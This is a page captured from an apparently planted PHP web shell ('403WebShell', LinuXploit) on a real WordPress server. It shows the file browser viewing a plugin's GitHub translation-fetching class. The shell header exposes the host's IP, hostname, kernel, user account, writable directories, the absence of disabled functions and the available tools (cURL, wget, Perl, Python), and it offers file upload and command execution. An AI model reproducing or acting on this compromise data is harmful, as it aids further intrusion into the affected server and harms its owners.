$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Translate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Translate/GitHubClient.php
<?php
/**
 * GitHub API Client.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Translate;

use WP_Error;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Handles communication with the GitHub API.
 *
 * TRUST MODEL — the translation source is fully first-party. The owner/repo
 * below (hellowpio/wordpress-translations) is owned and maintained entirely by
 * HelloPack; nothing arbitrary lands in it. The host is hard-pinned to GitHub
 * (api.github.com / raw.githubusercontent.com) over HTTPS, so no caller input
 * can repoint the fetch elsewhere. This is why the install pipeline trusts the
 * file paths coming from the tree (see FileMatcher / FileInstaller). If that
 * trust ever changes (third-party contributions, a different source), the
 * install side MUST add a basename allow-list + realpath containment before
 * writing into WP_LANG_DIR.
 */
final class GitHubClient {

	/**
	 * GitHub repository owner.
	 */
	private const OWNER = 'hellowpio';

	/**
	 * GitHub repository name.
	 */
	private const REPO = 'wordpress-translations';

	/**
	 * GitHub Trees API base URL.
	 */
	private const API_BASE = 'https://api.github.com';

	/**
	 * Raw content base URL.
	 */
	private const RAW_BASE = 'https://raw.githubusercontent.com';

	/**
	 * Transient cache key.
	 */
	private const CACHE_KEY = 'hellopack_translate_tree_cache';

	/**
	 * Cache TTL in seconds (12 hours).
	 */
	private const CACHE_TTL = 43200;

	/**
	 * Fetch the full repository tree, cached.
	 *
	 * @return array<int, array<string, string>>|WP_Error
	 */
	public function fetch_tree(): array|WP_Error {
		$cached = get_transient( self::CACHE_KEY );

		if ( is_array( $cached ) && ! empty( $cached ) ) {
			return $cached;
		}

		$url      = self::API_BASE . '/repos/' . self::OWNER . '/' . self::REPO . '/git/trees/main?recursive=1';
		$response = wp_remote_get(
			$url,
			array(
				'timeout' => 30,
				'headers' => array(
					'Accept'     => 'application/vnd.github.v3+json',
					'User-Agent' => 'HelloPack-Client/' . HELLOPACK_CLIENT_VERSION,
				),
			)
		);

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$code = wp_remote_retrieve_response_code( $response );

		if ( 200 !== $code ) {
			return new WP_Error(
				'github_api_error',
				/* translators: %d: HTTP status code */
				sprintf( __( 'GitHub API returned status %d.', 'hellopack-client' ), $code )
			);
		}

		$body = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! isset( $body['tree'] ) || ! is_array( $body['tree'] ) ) {
			return new WP_Error( 'github_api_error', __( 'Invalid tree response.', 'hellopack-client' ) );
		}

		$tree = $body['tree'];

		set_transient( self::CACHE_KEY, $tree, self::CACHE_TTL );

		return $tree;
	}

	/**
	 * Download a raw file from the repository.
	 *
	 * @param string $path File path in the repository.
	 * @return string|WP_Error
	 */
	public function download_file( string $path ): string|WP_Error {
		$url      = self::RAW_BASE . '/' . self::OWNER . '/' . self::REPO . '/main/' . $path;
		$response = wp_remote_get(
			$url,
			array(
				'timeout' => 30,
				'headers' => array(
					'User-Agent' => 'HelloPack-Client/' . HELLOPACK_CLIENT_VERSION,
				),
			)
		);

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$code = wp_remote_retrieve_response_code( $response );

		if ( 200 !== $code ) {
			return new WP_Error(
				'download_error',
				/* translators: 1: file path, 2: HTTP status code */
				sprintf( __( 'Failed to download %1$s (HTTP %2$d).', 'hellopack-client' ), $path, $code )
			);
		}

		return wp_remote_retrieve_body( $response );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit